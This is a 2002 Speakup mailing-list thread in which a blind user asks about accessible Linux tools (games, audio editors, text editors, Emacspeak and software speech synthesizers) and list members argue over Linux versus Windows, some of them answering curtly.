				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Octavian Rasnita]

Hi, thank you.
No, I don't like Windows. I don't use to play games because I don't have the
time.
I use some sound editing programs but very rarely.
I need Linux because I am learning CGI programming in Perl, Web server
administration, etc.
... and these work better under Linux than under Windows.

But I also don't like to see a lot of people from this list, nor from any
list, thinking that Linux is better than Windows.
Windows is better than Linux for multimedia development but Macintosh is
even better than Windows  for this thing.

Some Unix graphic stations are better probably than Macintosh for their
purpose.

It was a thred about people's opinions and I've told my opinions.
My opinion is that Windows is easier to use than Linux for a blind in
special, but Linux is better than Windows working for server side
applications, and only after you know very well Linux is as same as easy to
use as windows but learning it takes more time than learning Windows.

That is my opinion.
Is Linux easier to learn than Windows?
Is Linux easier to use by a blind?
Is Linux easier to use by a beginner?

Well, I am a beginner in Linux, I am blind and it will take some time to
learn Linux.
Maybe there are some other listers in the same situation.

I like the Linux users to be a kind of helpful community, because they are
not very many, especially blind, but all the experimented people in linux
give the beginners criptical commands without explaining too much, RTFM,
etc.


Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 5:55 AM
Subject: Re: interesting experiment.


Hi all,

>>>>> "Octavian" == Octavian Rasnita <orasnita@home.ro> writes:

    Octavian> Are there any games accessible for the blind under
    Octavian> Linux, like under Windows?

Yes and no.  If you expect whizzy sound and graphics, no.  But there
are lots of good games.  Do a search on Google.

    Octavian> Are there any good sound editing programs
    Octavian> for Linux, like Sound Forge, Cool Edit, Gold Wave, etc,


Yes, Many in fact.

    Octavian> and programs for creating MIDI music, like Cake Walk?

Dunnow about Cake Walk, but there is no OCR stuff that isn't really
complicated to run, either.

    Octavian> Is there a text editor, that has macro features, Regular
    Octavian> expressions, the ability to save in Windows/Mac/Unix
    Octavian> format, etc?

Emacs has all that, and your friends and employers can import anything
written in Emacs into whatever Word Processor they're using because
Emacs is basic text.  If you're talking about LaTeX or stuff like
that, then no, you can't import it, but why would you, unless you
absolutely had to for a job.  If your employer wanted hard copy, you
could write rings around MSWord.  Can you program in MSWord?  Can you
write C programs in MSWord?  Can you not only write them but check
them and run them in MSWord?  You can't, but you sure as Hell can in
Emacs!

    Octavian> A lot of things are accessible, but ... harder to learn,
    Octavian> harder to configure and harder to use, if I am not so
    Octavian> bright to remember 1000 command line parameters.

Well, if you like Windows, then use it, but don't bother us on the
Linux list, then.  Windowws is very difficult to learn for some
people, especially totally blind people who find it easier to use a
command line interface.  Neither OS is bad, Teddy, each has its
strengths and weaknesses.  If you are willing to learn, Linux is
really rewarding.  Windows can be too, I guess, but not in the same
way, not the way Linux makes you feel as if you've really accomplished
something when you get done typing all those hundreds of commands.
<smile>  If Windows works for you, then use it.  It's all in the tools
that fit your hands the best and do the job you ask them to do best.
Nothing is either right or wrong.

One last note.  I repeat, do not confuse wanting Windows look-alike
programs with needing a good word processor/markup language.  Consider
what you are really asking.  If you want Windows look-alike tools in
Linux for the blind, they aren't available yet.  On the other hand, if
you want word processor/markup languages, programming modes, good
sound editing, and web and so on.  Linux has all that.    However,
make sure you know what you're asking for here.  Same isn't
necessarily best, you know, guys.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT



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Re: interesting experiment.

[Octavian Rasnita]

Does it need some special drivers? Or how to install it?
Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 5:57 AM
Subject: Re: interesting experiment.


Hi all,

DecTalk internal is supported by Emacspeak.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

Hi, thanks.

If you know a good text editor under Linux please tell me.
I really need one, but I couldn't find one better than pico.
I need it for editing Perl programs, not a word processor.

Well, under Windows, you don't need to remember anything at all.
You open a window, and it explains you what you should do there.
You have to press the space bar to check some checkboxes, to press some
buttons, etc, and if you don't know something, press shift+f10 (or the right
mouse button and choose "what's this?" or press F1 to view the help file
wich is much much more easier to navigate than the man pages under Linux.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 6:14 AM
Subject: Re: interesting experiment.


OK, let's take this one question at a time ...

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Are there any games accessible for the blind under Linux, like under
> Windows?
> Please tell me some web addresses.

I was with you until you said "like Windows." I have no idea
about Windows. I know nothing about it.

But, if you want games, you can find them. Maybe they're better,
maybe not. But they're out there. Emacs comes with games, and
some are speech enabled by emacspeak. The only game I really know
much about is gnu chess which can be obtained from
http://www.gnu.org.

I'm generally too interested in things to play games on my
computer. Last thing I'm likely to do, so I'm out of knowledge
here.

> Are there any good sound editing programs for Linux, like Sound Forge,
Cool
> Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
Walk?


There's ecasound and sox. Very accessible. And there's
gramophone. I recently came across a java midi patch editor, but
I haven't had the time to get it working yet to find out about
its accessibility. Admitedly, these are less functional than the
Windows apps you mention for many tasks. Is this what you do? Or
are these academic questions?

> Is there a text editor, that has macro features, Regular expressions, the
> ability to save in Windows/Mac/Unix format, etc?

What is Mac format? I've never heard of that. And what is Windows
format?
And, why would you care?

Is there powerful text editing, formatting, scripting? Of course
there is. Far more powerful than in Windows or Mac. There are
probably too many to mention, actually. Linux/Unix has the
proprietary world beat hands down on this one.

Those format questions are themselves silly. You don't need them.
You certainly don't need them to communicate with anyone, or to
print out lovely reports, or design lovely e-content for on line
publishing, etc.

In fact, you do better to forget them and use the superior tools
available on Linux.

>
> ... Just a few things that camed to mind.
>
> A lot of things are accessible, but ... harder to learn, harder to
configure
> and harder to use, if I am not so bright to remember 1000 command line
> parameters.

Give me a break. Grow up. How do you remember 1,000 dialog boxes.
How do you remember where to tell windows to show extensions to
files, for example. Or how about finding your ethernet card's mac
address. Do you remember that? I could go on. This is another
bogus argument.

But, if you think the gui is actually superior, you're going to
lose this excuse soon enough. GNOME is coming. What sad song are
you going to sing then?

>
> Thank you for the links.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 9:59 PM
> Subject: Re: interesting experiment.
>
>
> On Sat, 18 May 2002, Darrell Shandrow wrote:
> > I just wish Linux were
> > a more viable general purpose workstation; I use Windows for that
purpose.
> >
> Hi, Darrell:
>
> Just wondering what you think is missing from Linux' desktop
> applications.
>
> In case this sounds loaded, it might be. The underlying question
> might be: Is it your knowledge deficit, or is it Linux itself?
> For my own experience in this matter, I've found it's my
> knowledge deficit almost without exception.
>
>
>
>
> --------------------------------------------------------------------------
--
> ----
>
>
>
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
>
>
>
> _______________________________________________
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> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

Hi, Thanks.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 6:16 AM
Subject: Re: interesting experiment.


Pay attention. I just told you something that works with software
speech under Linux. Go check it out.

http://eflite.sf.net

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Why "not bad?"
> Wouldn't be better "The best" which is Jaws under Windows?
>
> I would like something "the best" under Linux  that work with software
> sinthesizers.
>
> Regards.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 1:52 AM
> Subject: Re: interesting experiment.
>
>
> Well, I won't say emacspeak supports software speech, even though
> it does, because Raman would shoot me for calling emacspeak a
> screen reader.
>
> But, yasr runs with flite. I use it when I can't use speakup.
> It's not bad.
>
> On Sat, 18 May 2002, Alex Snow wrote:
>
> > What I'd really like to see in linux is a screen reader supporting
> software
> > speach.  That would make my life, and many other people's lives, much
> > easier.  You wouldn't have to lug your synth around with you all the
time.
> > ----- Original Message -----
> > From: "Adam Myrow" <myrow@eskimo.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 3:29 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > For me, I'd like to see a good financial package in Linux.  Maybe Gnu
> Cash
> > > will be accessible when Gnome is?  So much depends on this.  I hope
that
> > > not just Gnome, but KDE, Blackbox, etc. become usable at some time.
One
> > > of the things that sounds cool about X is getting to choose your
desktop
> > > like that.  In the mean time, has anybody encountered a financial
> package
> > > under the console of any decency?
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Why "not bad?"
> Wouldn't be better "The best" which is Jaws under Windows?
>
> I would like something "the best" under Linux  that work with software
> sinthesizers.

So go write it, or find someone who can/will.  That's what Linux is all
about.  I would hazard a guess that around 95% if not more of all software
for Linux was originally written because someone, usually the author,
wanted/need ed it and couldn't find a suitable alternative.  Even most of
the kernel drivers were written that way, someone asked for support for a
given driver, or the author(s) of the driver needed it, so wrote it.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Octavian Rasnita]

I press the keys for  launching the terminal mode under Emacspeak, I type a
simple ls command to test it, I won't hear anything of course, then the
computer stopped speaking, and I need to reboot it.
IS Emacspeak the problem? Is IBM Via Voice stopping?
I don't know.
Thank you for putting me to learn. <gee>
Do you have a link to a text file with all the command lines used by
emacspeak?
I've tried that help, but I couldn't find how to set the speed of voice
sinthesizer faster, nor how to read a text at once, not line by line.
I also would like to know how can I skip the text when I read this way.

In Windows, I can put the screen reader to read in "say all" mode and if I
press the right shift, it skips a line and continue reading without
stopping.
If I press the left shift, it goes back with a line and continue reading
without stopping.

This is a good feature and I am sure it should be in Emacspeak also.
However, I couldn't find it.

I would also like to know if there is a kind of control panel for emacspeak,
where I can set all the variables, a configuration file, etc.
Emacspeak starts with a text file which is not too big and I should read a
lot of things before finding how to set the sinthesizer faster.
And I don't  have the patience to listen how slowly it speaks.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 6:17 AM
Subject: Re: interesting experiment.


No joke. Emacs is easier than Windows.

Now, Octavian, stop belly aching and go learn how to do
something.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Do you mean that using Emacspeak is easier than using Windows?
> Nice joke. Really.
> And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> to crash so often, or other software sinthesizers hard to understand, ...
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 11:53 PM
> Subject: Re: interesting experiment.
>
>
> Hi all,
>
> Why don't you try Emacspeak and quit yawping!  There *is* a speech
> output system that uses software speech.
>
> Ann P.
>
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Cecil H. Whitley]

Hi,
Yep sb cards are cheap.  Other priorities.
Cecil

Re: interesting experiment.

[Janina Sajka]

Octavian:

As you well noted in your last post:

rtfm

I gave you the address twice. Now, rtfm

If you don't like this answer, then rtfm and write a better fm
yourself. That can be your contribution.

It's time to start giving, buddy, instead of just taking.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Does it need some special drivers? Or how to install it?
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 5:57 AM
> Subject: Re: interesting experiment.
> 
> 
> Hi all,
> 
> DecTalk internal is supported by Emacspeak.
> 
> Ann P.
> 
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

On Sun, 19 May 2002, Octavian Rasnita wrote:

> If you know a good text editor under Linux please tell me.

emacs and/or vim. You'll never need anything else. So, learn them
or go back toWindows.

> Well, under Windows, you don't need to remember anything at all.

That's not true. What is your card's mac address? Go ahead. Find
it.
Then tell us you don't need to remember anything.

> You open a window, and it explains you what you should do there.
> You have to press the space bar to check some checkboxes, to press some
> buttons, etc, and if you don't know something, press shift+f10 (or the right
> mouse button and choose "what's this?" or press F1 to view the help file
> wich is much much more easier to navigate than the man pages under Linux.
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 6:14 AM
> Subject: Re: interesting experiment.
> 
> 
> OK, let's take this one question at a time ...
> 
> On Sun, 19 May 2002, Octavian Rasnita wrote:
> 
> > Are there any games accessible for the blind under Linux, like under
> > Windows?
> > Please tell me some web addresses.
> 
> I was with you until you said "like Windows." I have no idea
> about Windows. I know nothing about it.
> 
> But, if you want games, you can find them. Maybe they're better,
> maybe not. But they're out there. Emacs comes with games, and
> some are speech enabled by emacspeak. The only game I really know
> much about is gnu chess which can be obtained from
> http://www.gnu.org.
> 
> I'm generally too interested in things to play games on my
> computer. Last thing I'm likely to do, so I'm out of knowledge
> here.
> 
> > Are there any good sound editing programs for Linux, like Sound Forge,
> Cool
> > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> Walk?
> 
> 
> There's ecasound and sox. Very accessible. And there's
> gramophone. I recently came across a java midi patch editor, but
> I haven't had the time to get it working yet to find out about
> its accessibility. Admitedly, these are less functional than the
> Windows apps you mention for many tasks. Is this what you do? Or
> are these academic questions?
> 
> > Is there a text editor, that has macro features, Regular expressions, the
> > ability to save in Windows/Mac/Unix format, etc?
> 
> What is Mac format? I've never heard of that. And what is Windows
> format?
> And, why would you care?
> 
> Is there powerful text editing, formatting, scripting? Of course
> there is. Far more powerful than in Windows or Mac. There are
> probably too many to mention, actually. Linux/Unix has the
> proprietary world beat hands down on this one.
> 
> Those format questions are themselves silly. You don't need them.
> You certainly don't need them to communicate with anyone, or to
> print out lovely reports, or design lovely e-content for on line
> publishing, etc.
> 
> In fact, you do better to forget them and use the superior tools
> available on Linux.
> 
> >
> > ... Just a few things that camed to mind.
> >
> > A lot of things are accessible, but ... harder to learn, harder to
> configure
> > and harder to use, if I am not so bright to remember 1000 command line
> > parameters.
> 
> Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> How do you remember where to tell windows to show extensions to
> files, for example. Or how about finding your ethernet card's mac
> address. Do you remember that? I could go on. This is another
> bogus argument.
> 
> But, if you think the gui is actually superior, you're going to
> lose this excuse soon enough. GNOME is coming. What sad song are
> you going to sing then?
> 
> >
> > Thank you for the links.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 9:59 PM
> > Subject: Re: interesting experiment.
> >
> >
> > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > I just wish Linux were
> > > a more viable general purpose workstation; I use Windows for that
> purpose.
> > >
> > Hi, Darrell:
> >
> > Just wondering what you think is missing from Linux' desktop
> > applications.
> >
> > In case this sounds loaded, it might be. The underlying question
> > might be: Is it your knowledge deficit, or is it Linux itself?
> > For my own experience in this matter, I've found it's my
> > knowledge deficit almost without exception.
> >
> >
> >
> >
> > --------------------------------------------------------------------------
> --
> > ----
> >
> >
> >
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Cecil H. Whitley]

Hi,
Just a minor question, are you speaking of viavoice outloud for windows or
linux??  Things crashing under windows is normal, expected behavior.  I
would go so far as to inquire if possibly there is a "crashed_recently"
variable within windows along with a random countdown timer......
Regards,
Cecil
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 8:45 PM
Subject: Re: interesting experiment.


> Do you mean that using Emacspeak is easier than using Windows?
> Nice joke. Really.
> And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> to crash so often, or other software sinthesizers hard to understand, ...
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 11:53 PM
> Subject: Re: interesting experiment.
>
>
> Hi all,
>
> Why don't you try Emacspeak and quit yawping!  There *is* a speech
> output system that uses software speech.
>
> Ann P.
>
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

I believe he is speaking of ViaVoice, and it does crash. Now, if
the source were available, someone of us would undoubtedly have
solved this issue. But it isn't.

So, don't blame Linux. Blame IBM and the Windows mindset that
they brought to Linux in ViaVoice.

On Sun, 19 May 2002, Cecil H. Whitley wrote:

> Hi,
> Just a minor question, are you speaking of viavoice outloud for windows or
> linux??  Things crashing under windows is normal, expected behavior.  I
> would go so far as to inquire if possibly there is a "crashed_recently"
> variable within windows along with a random countdown timer......
> Regards,
> Cecil
> ----- Original Message -----
> From: "Octavian Rasnita" <orasnita@home.ro>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 8:45 PM
> Subject: Re: interesting experiment.
> 
> 
> > Do you mean that using Emacspeak is easier than using Windows?
> > Nice joke. Really.
> > And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> > to crash so often, or other software sinthesizers hard to understand, ...
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Ann Parsons" <akp@eznet.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 11:53 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Hi all,
> >
> > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > output system that uses software speech.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
> > JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Shaun Oliver]

SNIP
> > You open a window, and it explains you what you should do there.
> > You have to press the space bar to check some checkboxes, to press some
> > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > mouse button and choose "what's this?" or press F1 to view the help file
> > wich is much much more easier to navigate than the man pages under Linux.
SNIP

A fake.
man pages under GNU/Linux are a lot easier to navigate than windows help
pages.
you need to route the jaws cursor to the pc and then fart around trying to
find what you were looking for.
even with the new features in jfw I seriously doubt you could navigate a
help file easier than a man page..

Re: interesting experiment.

[Cecil H. Whitley]

Hi,
even more usefull....
You've got your network settings set to "obtain an ip address
automatically"..... How do you find your current ip address?  Under 9x?
Under NT?  Under 2k/xp?
You have to remember which operating system and which command to use because
it's not the same in all cases.

Admittedly the learning curve is less steep, but the os itself is less
powerfull as well.  Fewer features directly relate to easier to learn.  Less
capability also directly equates to less learning needed.  GUI's have some
benefits, almost any 1d10t can erase/format his/her hard drive in less time.
It's amazing how fast sighted people can trash a windows system.  Keeps me
employed anyway.
Cecil

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 12:49 AM
Subject: Re: interesting experiment.


> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > If you know a good text editor under Linux please tell me.
>
> emacs and/or vim. You'll never need anything else. So, learn them
> or go back toWindows.
>
> > Well, under Windows, you don't need to remember anything at all.
>
> That's not true. What is your card's mac address? Go ahead. Find
> it.
> Then tell us you don't need to remember anything.
>
> > You open a window, and it explains you what you should do there.
> > You have to press the space bar to check some checkboxes, to press some
> > buttons, etc, and if you don't know something, press shift+f10 (or the
right
> > mouse button and choose "what's this?" or press F1 to view the help file
> > wich is much much more easier to navigate than the man pages under
Linux.
> >
> > Thanks.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 6:14 AM
> > Subject: Re: interesting experiment.
> >
> >
> > OK, let's take this one question at a time ...
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> >
> > I was with you until you said "like Windows." I have no idea
> > about Windows. I know nothing about it.
> >
> > But, if you want games, you can find them. Maybe they're better,
> > maybe not. But they're out there. Emacs comes with games, and
> > some are speech enabled by emacspeak. The only game I really know
> > much about is gnu chess which can be obtained from
> > http://www.gnu.org.
> >
> > I'm generally too interested in things to play games on my
> > computer. Last thing I'm likely to do, so I'm out of knowledge
> > here.
> >
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> >
> >
> > There's ecasound and sox. Very accessible. And there's
> > gramophone. I recently came across a java midi patch editor, but
> > I haven't had the time to get it working yet to find out about
> > its accessibility. Admitedly, these are less functional than the
> > Windows apps you mention for many tasks. Is this what you do? Or
> > are these academic questions?
> >
> > > Is there a text editor, that has macro features, Regular expressions,
the
> > > ability to save in Windows/Mac/Unix format, etc?
> >
> > What is Mac format? I've never heard of that. And what is Windows
> > format?
> > And, why would you care?
> >
> > Is there powerful text editing, formatting, scripting? Of course
> > there is. Far more powerful than in Windows or Mac. There are
> > probably too many to mention, actually. Linux/Unix has the
> > proprietary world beat hands down on this one.
> >
> > Those format questions are themselves silly. You don't need them.
> > You certainly don't need them to communicate with anyone, or to
> > print out lovely reports, or design lovely e-content for on line
> > publishing, etc.
> >
> > In fact, you do better to forget them and use the superior tools
> > available on Linux.
> >
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> >
> > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > How do you remember where to tell windows to show extensions to
> > files, for example. Or how about finding your ethernet card's mac
> > address. Do you remember that? I could go on. This is another
> > bogus argument.
> >
> > But, if you think the gui is actually superior, you're going to
> > lose this excuse soon enough. GNOME is coming. What sad song are
> > you going to sing then?
> >
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> >
> --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
